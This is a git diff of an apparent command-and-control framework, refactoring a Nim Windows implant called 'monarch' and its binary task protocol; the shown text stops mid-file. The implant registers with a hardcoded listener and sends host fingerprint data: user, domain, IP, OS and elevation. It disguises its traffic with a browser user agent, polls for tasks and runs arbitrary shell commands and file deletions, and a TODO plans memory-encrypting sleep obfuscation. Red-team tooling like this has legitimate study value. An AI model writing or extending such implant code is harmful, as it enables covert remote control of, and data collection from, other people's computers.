diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/agentTypes.nim similarity index 86% rename from src/agents/monarch/types.nim rename to src/agents/monarch/agentTypes.nim index cb49155..6a7f820 100644 --- a/src/agents/monarch/types.nim +++ b/src/agents/monarch/agentTypes.nim @@ -1,6 +1,4 @@ import winim -import ../../types -export Task, CommandType, TaskResult, TaskStatus type ProductType* = enum @@ -25,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = type AgentConfig* = ref object - listener*: string + agentId*: string + listenerId*: string ip*: string port*: int sleep*: int \ No newline at end of file diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim index baaa1eb..39b1028 100644 --- a/src/agents/monarch/commands/filesystem.nim +++ b/src/agents/monarch/commands/filesystem.nim @@ -1,14 +1,15 @@ -import os, strutils, strformat, base64, winim, times, algorithm, json +import os, strutils, strformat, winim, times, algorithm -import ../types +import ../agentTypes +import ../core/taskresult +import ../../../common/[types, utils] # Retrieve current working directory -proc taskPwd*(task: Task): TaskResult = +proc taskPwd*(config: AgentConfig, task: Task): TaskResult = - echo fmt"Retrieving current working directory." + echo fmt" [>] Retrieving current working directory." try: - # Get current working directory using GetCurrentDirectory let buffer = newWString(MAX_PATH + 1) @@ -17,61 +18,41 @@ proc taskPwd*(task: Task): TaskResult = if length == 0: raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") - return TaskResult( - task: task.id, - agent: task.agent, - data: encode($buffer[0 ..< (int)length] & "\n"), - status: Completed - ) + let output = $buffer[0 ..< (int)length] & "\n" + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + # Change working directory -proc taskCd*(task: Task): TaskResult = +proc taskCd*(config: AgentConfig, task: Task): TaskResult = # Parse arguments - let targetDirectory = parseJson(task.args)["directory"].getStr() + let targetDirectory = task.args[0].data.toString() - echo fmt"Changing current working directory to {targetDirectory}." + echo fmt" [>] Changing current working directory to {targetDirectory}." try: # Get current working directory using GetCurrentDirectory if SetCurrentDirectoryW(targetDirectory) == FALSE: raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + # List files and directories at a specific or at the current path -proc taskDir*(task: Task): TaskResult = +proc taskDir*(config: AgentConfig, task: Task): TaskResult = - # Parse arguments - var targetDirectory = parseJson(task.args)["directory"].getStr() + try: + var targetDirectory: string - echo fmt"Listing files and directories." - - try: - # Check if users wants to list files in the current working directory or at another path - - if targetDirectory == "": + # Parse arguments + case int(task.argCount): + of 0: # Get current working directory using GetCurrentDirectory let cwdBuffer = newWString(MAX_PATH + 1) @@ -81,7 +62,14 @@ proc taskDir*(task: Task): TaskResult = raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] - + + of 1: + targetDirectory = task.args[0].data.toString() + else: + discard + + echo fmt" [>] Listing files and directories in {targetDirectory}." + # Prepare search pattern (target directory + \*) let searchPattern = targetDirectory & "\\*" let searchPatternW = newWString(searchPattern) @@ -200,133 +188,83 @@ proc taskDir*(task: Task): TaskResult = output &= "\n" & fmt"{totalFiles} file(s)" & "\n" output &= fmt"{totalDirs} dir(s)" & "\n" - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(output), - status: Completed - ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + # Remove file -proc taskRm*(task: Task): TaskResult = +proc taskRm*(config: AgentConfig, task: Task): TaskResult = # Parse arguments - let target = parseJson(task.args)["file"].getStr() + let target = task.args[0].data.toString() - echo fmt"Deleting file {target}." + echo fmt" [>] Deleting file {target}." try: if DeleteFile(target) == FALSE: raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + # Remove directory -proc taskRmdir*(task: Task): TaskResult = +proc taskRmdir*(config: AgentConfig, task: Task): TaskResult = # Parse arguments - let target = parseJson(task.args)["directory"].getStr() + let target = task.args[0].data.toString() - echo fmt"Deleting directory {target}." + echo fmt" [>] Deleting directory {target}." try: if RemoveDirectoryA(target) == FALSE: raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) # Move file or directory -proc taskMove*(task: Task): TaskResult = +proc taskMove*(config: AgentConfig, task: Task): TaskResult = # Parse arguments - echo task.args let - params = parseJson(task.args) - lpExistingFileName = params["from"].getStr() - lpNewFileName = params["to"].getStr() + lpExistingFileName = task.args[0].data.toString() + lpNewFileName = task.args[1].data.toString() - echo fmt"Moving {lpExistingFileName} to {lpNewFileName}." + echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." try: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + # Copy file or directory -proc taskCopy*(task: Task): TaskResult = +proc taskCopy*(config: AgentConfig, task: Task): TaskResult = # Parse arguments let - params = parseJson(task.args) - lpExistingFileName = params["from"].getStr() - lpNewFileName = params["to"].getStr() + lpExistingFileName = task.args[0].data.toString() + lpNewFileName = task.args[1].data.toString() - echo fmt"Copying {lpExistingFileName} to {lpNewFileName}." + echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." try: # Copy file to new location, overwrite if a file with the same name already exists if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) \ No newline at end of file + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim index 07acf2e..198d40f 100644 --- a/src/agents/monarch/commands/shell.nim +++ b/src/agents/monarch/commands/shell.nim @@ -1,30 +1,35 @@ -import winim, osproc, strutils, strformat, base64, json +import winim, osproc, strutils, strformat -import ../types +import ../core/taskresult +import ../agentTypes +import ../../../common/[types, utils] -proc taskShell*(task: Task): TaskResult = - - # Parse arguments JSON string to obtain specific values - let - params = parseJson(task.args) - command = params["command"].getStr() - arguments = params["arguments"].getStr() - - echo fmt"Executing command {command} with arguments {arguments}" +proc taskShell*(config: AgentConfig, task: Task): TaskResult = try: + var + command: string + arguments: string + + # Parse arguments + case int(task.argCount): + of 1: # Only the command has been passed as an argument + command = task.args[0].data.toString() + arguments = "" + of 2: # The optional 'arguments' parameter was included + command = task.args[0].data.toString() + arguments = task.args[1].data.toString() + else: + discard + + echo fmt" [>] Executing: {command} {arguments}." + let (output, status) = execCmdEx(fmt("{command} {arguments}")) - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(output), - status: Completed - ) + + if output != "": + return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes()) + else: + return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim index 8ea8dea..bc4af37 100644 --- a/src/agents/monarch/commands/sleep.nim +++ b/src/agents/monarch/commands/sleep.nim @@ -1,27 +1,22 @@ -import os, strutils, strformat, base64, json +import os, strutils, strformat -import ../types +import ../[agentTypes] +import ../core/taskresult +import ../../../common/[types, utils, serialize] -proc taskSleep*(task: Task): TaskResult = - - # Parse task parameter - let delay = parseJson(task.args)["delay"].getInt() - - echo fmt"Sleeping for {delay} seconds." +proc taskSleep*(config: AgentConfig, task: Task): TaskResult = try: + # Parse task parameter + let delay = int(task.args[0].data.toUint32()) + + echo fmt" [>] Sleeping for {delay} seconds." + sleep(delay * 1000) - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) + + # Updating sleep in agent config + config.sleep = delay + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) \ No newline at end of file + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/core/http.nim b/src/agents/monarch/core/http.nim new file mode 100644 index 0000000..343c098 --- /dev/null +++ b/src/agents/monarch/core/http.nim @@ -0,0 +1,78 @@ +import httpclient, json, strformat, asyncdispatch + +import ./metadata +import ../agentTypes +import ../../../common/[types, utils] + +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" + +proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} = + + let client = newAsyncHttpClient(userAgent = USER_AGENT) + + # Define HTTP headers + client.headers = newHttpHeaders({ + "Content-Type": "application/octet-stream", + "Content-Length": $registrationData.len + }) + + let body = registrationData.toString() + + try: + # Register agent to the Conquest server + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body) + + except CatchableError as err: + echo "[-] [register]:", err.msg + quit(0) + + finally: + client.close() + + return true + +proc getTasks*(config: AgentConfig): string = + + let client = newAsyncHttpClient(userAgent = USER_AGENT) + var responseBody = "" + + try: + # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization + responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks") + return responseBody + + except CatchableError as err: + # When the listener is not reachable, don't kill the application, but check in at the next time + echo "[-] [getTasks]: " & err.msg + + finally: + client.close() + + return "" + +proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} = + + let client = newAsyncHttpClient(userAgent = USER_AGENT) + + # Define headers + client.headers = newHttpHeaders({ + "Content-Type": "application/octet-stream", + "Content-Length": $resultData.len + }) + + let body = resultData.toString() + + echo body + + try: + # Send binary task result data to server + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body) + + except CatchableError as err: + # When the listener is not reachable, don't kill the application, but check in at the next time + echo "[-] [postResults]: " & err.msg + return false + finally: + client.close() + + return true \ No newline at end of file diff --git a/src/agents/monarch/agentinfo.nim b/src/agents/monarch/core/metadata.nim similarity index 56% rename from src/agents/monarch/agentinfo.nim rename to src/agents/monarch/core/metadata.nim index b559a66..a860af8 100644 --- a/src/agents/monarch/agentinfo.nim +++ b/src/agents/monarch/core/metadata.nim @@ -1,6 +1,7 @@ import winim, os, net, strformat, strutils, registry -import ./[types, utils] +import ../agentTypes +import ../../../common/[types, utils] # Hostname/Computername proc getHostname*(): string = @@ -68,6 +69,69 @@ proc getIPv4Address*(): string = return $getPrimaryIpAddr() # Windows Version fingerprinting +proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string = + let + major = info.dwMajorVersion + minor = info.dwMinorVersion + build = info.dwBuildNumber + spMajor = info.wServicePackMajor + + if major == 10 and minor == 0: + if productType == WORKSTATION: + if build >= 22000: + return "Windows 11" + else: + return "Windows 10" + + else: + case build: + of 20348: + return "Windows Server 2022" + of 17763: + return "Windows Server 2019" + of 14393: + return "Windows Server 2016" + else: + return fmt"Windows Server 10.x (Build: {build})" + + elif major == 6: + case minor: + of 3: + if productType == WORKSTATION: + return "Windows 8.1" + else: + return "Windows Server 2012 R2" + of 2: + if productType == WORKSTATION: + return "Windows 8" + else: + return "Windows Server 2012" + of 1: + if productType == WORKSTATION: + return "Windows 7" + else: + return "Windows Server 2008 R2" + of 0: + if productType == WORKSTATION: + return "Windows Vista" + else: + return "Windows Server 2008" + else: + discard + + elif major == 5: + if minor == 2: + if productType == WORKSTATION: + return "Windows XP x64 Edition" + else: + return "Windows Server 2003" + elif minor == 1: + return "Windows XP" + else: + discard + + return "Unknown Windows Version" + proc getProductType(): ProductType = # The product key is retrieved from the registry # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions @@ -88,11 +152,11 @@ proc getProductType(): ProductType = proc getOSVersion*(): string = - proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS + proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} when defined(windows): - var osInfo: types.OSVersionInfoExW + var osInfo: agentTypes.OSVersionInfoExW discard rtlGetVersion(osInfo) # echo $int(osInfo.dwMajorVersion) # echo $int(osInfo.dwMinorVersion) @@ -108,4 +172,29 @@ proc getOSVersion*(): string = else: return "Unknown" - \ No newline at end of file +proc getRegistrationData*(config: AgentConfig): AgentRegistrationData = + + return AgentRegistrationData( + header: Header( + magic: MAGIC, + version: VERSION, + packetType: cast[uint8](MSG_RESPONSE), + flags: cast[uint16](FLAG_PLAINTEXT), + seqNr: 1'u32, # TODO: Implement sequence tracking + size: 0'u32, + hmac: default(array[16, byte]) + ), + metadata: AgentMetadata( + agentId: uuidToUint32(config.agentId), + listenerId: uuidToUint32(config.listenerId), + username: getUsername().toBytes(), + hostname: getHostname().toBytes(), + domain: getDomain().toBytes(), + ip: getIPv4Address().toBytes(), + os: getOSVersion().toBytes(), + process: getProcessExe().toBytes(), + pid: cast[uint32](getProcessId()), + isElevated: cast[uint8](isElevated()), + sleep: cast[uint32](config.sleep) + ) + ) diff --git a/src/agents/monarch/core/packer.nim b/src/agents/monarch/core/packer.nim new file mode 100644 index 0000000..a535b32 --- /dev/null +++ b/src/agents/monarch/core/packer.nim @@ -0,0 +1,164 @@ +import strutils, strformat + +import ../../../common/[types, utils, serialize] + +proc deserializeTask*(bytes: seq[byte]): Task = + + var unpacker = initUnpacker(bytes.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + taskId = unpacker.getUint32() + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + timestamp = unpacker.getUint32() + command = unpacker.getUint16() + + var argCount = unpacker.getUint8() + var args = newSeq[TaskArg]() + + # Parse arguments + var i = 0 + while i < int(argCount): + args.add(unpacker.getArgument()) + inc i + + return Task( + header: Header( + magic: magic, + version: version, + packetType: packetType, + flags: flags, + seqNr: seqNr, + size: size, + hmac: hmac + ), + taskId: taskId, + agentId: agentId, + listenerId: listenerId, + timestamp: timestamp, + command: command, + argCount: argCount, + args: args + ) + +proc deserializePacket*(packet: string): seq[Task] = + + result = newSeq[Task]() + + var unpacker = initUnpacker(packet) + + var taskCount = unpacker.getUint8() + echo fmt"[*] Response contained {taskCount} tasks." + if taskCount <= 0: + return @[] + + while taskCount > 0: + + # Read length of each task and store the task object in a seq[byte] + let + taskLength = unpacker.getUint32() + taskBytes = unpacker.getBytes(int(taskLength)) + + result.add(deserializeTask(taskBytes)) + + dec taskCount + +proc serializeTaskResult*(taskResult: TaskResult): seq[byte] = + + var packer = initPacker() + + # Serialize result body + packer + .add(taskResult.taskId) + .add(taskResult.agentId) + .add(taskResult.listenerId) + .add(taskResult.timestamp) + .add(taskResult.command) + .add(taskResult.status) + .add(taskResult.resultType) + .add(taskResult.length) + + if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT: + packer.addData(taskResult.data) + + let body = packer.pack() + packer.reset() + + # TODO: Encrypt result body + + # Serialize header + packer + .add(taskResult.header.magic) + .add(taskResult.header.version) + .add(taskResult.header.packetType) + .add(taskResult.header.flags) + .add(taskResult.header.seqNr) + .add(cast[uint32](body.len)) + .addData(taskResult.header.hmac) + + let header = packer.pack() + + # TODO: Calculate and patch HMAC + + return header & body + +proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] = + + var packer = initPacker() + + # Serialize registration data + packer + .add(data.metadata.agentId) + .add(data.metadata.listenerId) + .addVarLengthMetadata(data.metadata.username) + .addVarLengthMetadata(data.metadata.hostname) + .addVarLengthMetadata(data.metadata.domain) + .addVarLengthMetadata(data.metadata.ip) + .addVarLengthMetadata(data.metadata.os) + .addVarLengthMetadata(data.metadata.process) + .add(data.metadata.pid) + .add(data.metadata.isElevated) + .add(data.metadata.sleep) + + let metadata = packer.pack() + packer.reset() + + # TODO: Encrypt metadata + + # Serialize header + packer + .add(data.header.magic) + .add(data.header.version) + .add(data.header.packetType) + .add(data.header.flags) + .add(data.header.seqNr) + .add(cast[uint32](metadata.len)) + .addData(data.header.hmac) + + let header = packer.pack() + + return header & metadata \ No newline at end of file diff --git a/src/agents/monarch/core/task.nim b/src/agents/monarch/core/task.nim new file mode 100644 index 0000000..533b259 --- /dev/null +++ b/src/agents/monarch/core/task.nim @@ -0,0 +1,24 @@ +import strutils, tables, json + +import ../agentTypes +import ../commands/commands +import ../../../common/[types, utils] +import sugar + +proc handleTask*(config: AgentConfig, task: Task): TaskResult = + + let handlers = { + CMD_SLEEP: taskSleep, + CMD_SHELL: taskShell, + CMD_PWD: taskPwd, + CMD_CD: taskCd, + CMD_LS: taskDir, + CMD_RM: taskRm, + CMD_RMDIR: taskRmdir, + CMD_MOVE: taskMove, + CMD_COPY: taskCopy + }.toTable + + # Handle task command + return handlers[cast[CommandType](task.command)](config, task) + diff --git a/src/agents/monarch/core/taskresult.nim b/src/agents/monarch/core/taskresult.nim new file mode 100644 index 0000000..423bc3b --- /dev/null +++ b/src/agents/monarch/core/taskresult.nim @@ -0,0 +1,25 @@ +import times +import ../../../common/[types, utils] + +proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = + + return TaskResult( + header: Header( + magic: MAGIC, + version: VERSION, + packetType: cast[uint8](MSG_RESPONSE), + flags: cast[uint16](FLAG_PLAINTEXT), + seqNr: 1'u32, # TODO: Implement sequence tracking + size: 0'u32, + hmac: default(array[16, byte]) + ), + taskId: task.taskId, + agentId: task.agentId, + listenerId: task.listenerId, + timestamp: uint32(now().toTime().toUnix()), + command: task.command, + status: cast[uint8](status), + resultType: cast[uint8](resultType), + length: uint32(resultData.len), + data: resultData, + ) \ No newline at end of file diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim deleted file mode 100644 index 09201c3..0000000 --- a/src/agents/monarch/http.nim +++ /dev/null @@ -1,74 +0,0 @@ -import httpclient, json, strformat, asyncdispatch - -import ./[types, agentinfo] - -proc register*(config: AgentConfig): string = - - let client = newAsyncHttpClient() - - # Define headers - client.headers = newHttpHeaders({ "Content-Type": "application/json" }) - - # Create registration payload - let body = %*{ - "username": getUsername(), - "hostname":getHostname(), - "domain": getDomain(), - "ip": getIPv4Address(), - "os": getOSVersion(), - "process": getProcessExe(), - "pid": getProcessId(), - "elevated": isElevated(), - "sleep": config.sleep - } - echo $body - - try: - # Register agent to the Conquest server - return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body) - except CatchableError as err: - echo "[-] [register]:", err.msg - quit(0) - finally: - client.close() - -proc getTasks*(config: AgentConfig, agent: string): seq[Task] = - - let client = newAsyncHttpClient() - var responseBody = "" - - try: - # Register agent to the Conquest server - responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") - return parseJson(responseBody).to(seq[Task]) - - except CatchableError as err: - # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [getTasks]: ", responseBody - finally: - client.close() - - return @[] - -proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool = - - let client = newAsyncHttpClient() - - # Define headers - client.headers = newHttpHeaders({ "Content-Type": "application/json" }) - - let taskJson = %taskResult - - echo $taskJson - - try: - # Register agent to the Conquest server - discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson) - except CatchableError as err: - # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [postResults]: ", err.msg - return false - finally: - client.close() - - return true \ No newline at end of file diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim index 069934f..6fe670c 100644 --- a/src/agents/monarch/monarch.nim +++ b/src/agents/monarch/monarch.nim @@ -1,7 +1,10 @@ -import strformat, os, times +import strformat, os, times, random import winim +import sugar -import ./[types, http, taskHandler] +import ./agentTypes +import core/[task, packer, http, metadata] +import ../../common/[types, utils] const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -12,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555 const SleepDelay {.intdefine.}: int = 10 proc main() = + randomize() #[ The process is the following: @@ -33,14 +37,19 @@ proc main() = # Create agent configuration var config = AgentConfig( - listener: ListenerUuid, + agentId: generateUUID(), + listenerId: ListenerUuid, ip: address, port: ListenerPort, sleep: SleepDelay ) - let agent = config.register() - echo fmt"[+] [{agent}] Agent registered." + # Create registration payload + let registrationData: AgentRegistrationData = config.getRegistrationData() + let registrationBytes = serializeRegistrationData(registrationData) + + config.register(registrationBytes) + echo fmt"[+] [{config.agentId}] Agent registered." #[ Agent routine: @@ -52,22 +61,33 @@ proc main() = ]# while true: + # TODO: Replace with actual sleep obfuscation that encrypts agent memory sleep(config.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." - # Retrieve task queue from the teamserver for the current agent - let tasks: seq[Task] = config.getTasks(agent) + # Retrieve task queue for the current agent + let packet: string = config.getTasks() - if tasks.len <= 0: - echo "[*] No tasks to execute." - continue + if packet.len <= 0: + echo "No tasks to execute." + continue + + let tasks: seq[Task] = deserializePacket(packet) + if tasks.len <= 0: + echo "No tasks to execute." + continue + # Execute all retrieved tasks and return their output to the server for task in tasks: - let result: TaskResult = task.handleTask(config) - discard config.postResults(agent, result) + let + result: TaskResult = config.handleTask(task) + resultData: seq[byte] = serializeTaskResult(result) + + # echo resultData + config.postResults(resultData) when isMainModule: main() \ No newline at end of file diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg index d0fd628..113a71e 100644 --- a/src/agents/monarch/nim.cfg +++ b/src/agents/monarch/nim.cfg @@ -1,8 +1,8 @@ # Agent configuration --d:ListenerUuid="CFD80565" --d:Octet1="127" --d:Octet2="0" --d:Octet3="0" --d:Octet4="1" --d:ListenerPort=9999 --d:SleepDelay=10 +-d:ListenerUuid="A5466110" +-d:Octet1="172" +-d:Octet2="29" +-d:Octet3="177" +-d:Octet4="43" +-d:ListenerPort=8888 +-d:SleepDelay=5 diff --git a/src/agents/monarch/taskHandler.nim b/src/agents/monarch/taskHandler.nim deleted file mode 100644 index a9c3dc2..0000000 --- a/src/agents/monarch/taskHandler.nim +++ /dev/null @@ -1,34 +0,0 @@ -import strutils, tables, json -import ./types -import ./commands/commands - -proc handleTask*(task: Task, config: AgentConfig): TaskResult = - - var taskResult: TaskResult - - let handlers = { - ExecuteShell: taskShell, - Sleep: taskSleep, - GetWorkingDirectory: taskPwd, - SetWorkingDirectory: taskCd, - ListDirectory: taskDir, - RemoveFile: taskRm, - RemoveDirectory: taskRmdir, - Move: taskMove, - Copy: taskCopy - }.toTable - - # Handle task command - taskResult = handlers[task.command](task) - echo taskResult.data - - # Handle actions on specific commands - case task.command: - of Sleep: - if taskResult.status == Completed: - config.sleep = parseJson(task.args)["delay"].getInt() - else: - discard - - # Return the result - return taskResult \ No newline at end of file diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim deleted file mode 100644 index 47f3837..0000000 --- a/src/agents/monarch/utils.nim +++ /dev/null @@ -1,65 +0,0 @@ -import strformat -import ./types - -proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = - let - major = info.dwMajorVersion - minor = info.dwMinorVersion - build = info.dwBuildNumber - spMajor = info.wServicePackMajor - - if major == 10 and minor == 0: - if productType == WORKSTATION: - if build >= 22000: - return "Windows 11" - else: - return "Windows 10" - - else: - case build: - of 20348: - return "Windows Server 2022" - of 17763: - return "Windows Server 2019" - of 14393: - return "Windows Server 2016" - else: - return fmt"Windows Server 10.x (Build: {build})" - - elif major == 6: - case minor: - of 3: - if productType == WORKSTATION: - return "Windows 8.1" - else: - return "Windows Server 2012 R2" - of 2: - if productType == WORKSTATION: - return "Windows 8" - else: - return "Windows Server 2012" - of 1: - if productType == WORKSTATION: - return "Windows 7" - else: - return "Windows Server 2008 R2" - of 0: - if productType == WORKSTATION: - return "Windows Vista" - else: - return "Windows Server 2008" - else: - discard - - elif major == 5: - if minor == 2: - if productType == WORKSTATION: - return "Windows XP x64 Edition" - else: - return "Windows Server 2003" - elif minor == 1: - return "Windows XP" - else: - discard - - return "Unknown Windows Version" \ No newline at end of file diff --git a/src/common/crypto.nim b/src/common/crypto.nim new file mode 100644 index 0000000..e69de29 diff --git a/src/common/serialize.nim b/src/common/serialize.nim new file mode 100644 index 0000000..3d3d945 --- /dev/null +++ b/src/common/serialize.nim @@ -0,0 +1,128 @@ +import streams, strutils +import ./[types, utils] +type + Packer* = ref object + stream: StringStream + +proc initPacker*(): Packer = + result = new Packer + result.stream = newStringStream() + +proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} = + packer.stream.write(value) + return packer + +proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} = + packer.stream.writeData(data[0].unsafeAddr, data.len) + return packer + +proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} = + + if arg.data.len <= 0: + # Optional argument was passed as "", ignore + return + + packer.add(arg.argType) + + case cast[ArgType](arg.argType): + of STRING, BINARY: + # Add length for variable-length data types + packer.add(cast[uint32](arg.data.len)) + packer.addData(arg.data) + else: + packer.addData(arg.data) + return packer + +proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} = + + # Add length of metadata field + packer.add(cast[uint32](metadata.len)) + + if metadata.len <= 0: + # Field is empty (e.g. not domain joined) + return packer + + # Add content + packer.addData(metadata) + return packer + +proc pack*(packer: Packer): seq[byte] = + packer.stream.setPosition(0) + let data = packer.stream.readAll() + + result = newSeq[byte](data.len) + for i, c in data: + result[i] = byte(c.ord) + + packer.stream.setPosition(0) + +proc reset*(packer: Packer): Packer {.discardable.} = + packer.stream.close() + packer.stream = newStringStream() + return packer + +type + Unpacker* = ref object + stream: StringStream + position: int + +proc initUnpacker*(data: string): Unpacker = + result = new Unpacker + result.stream = newStringStream(data) + result.position = 0 + +proc getUint8*(unpacker: Unpacker): uint8 = + result = unpacker.stream.readUint8() + unpacker.position += 1 + +proc getUint16*(unpacker: Unpacker): uint16 = + result = unpacker.stream.readUint16() + unpacker.position += 2 + +proc getUint32*(unpacker: Unpacker): uint32 = + result = unpacker.stream.readUint32() + unpacker.position += 4 + +proc getUint64*(unpacker: Unpacker): uint64 = + result = unpacker.stream.readUint64() + unpacker.position += 8 + +proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = + + if length <= 0: + return @[] + + result = newSeq[byte](length) + let bytesRead = unpacker.stream.readData(result[0].addr, length) + unpacker.position += bytesRead + + if bytesRead != length: + raise newException(IOError, "Not enough data to read") + +proc getArgument*(unpacker: Unpacker): TaskArg = + result.argType = unpacker.getUint8() + + case cast[ArgType](result.argType): + of STRING, BINARY: + # Variable-length fields are prefixed with the content-length + let length = unpacker.getUint32() + result.data = unpacker.getBytes(int(length)) + of INT: + 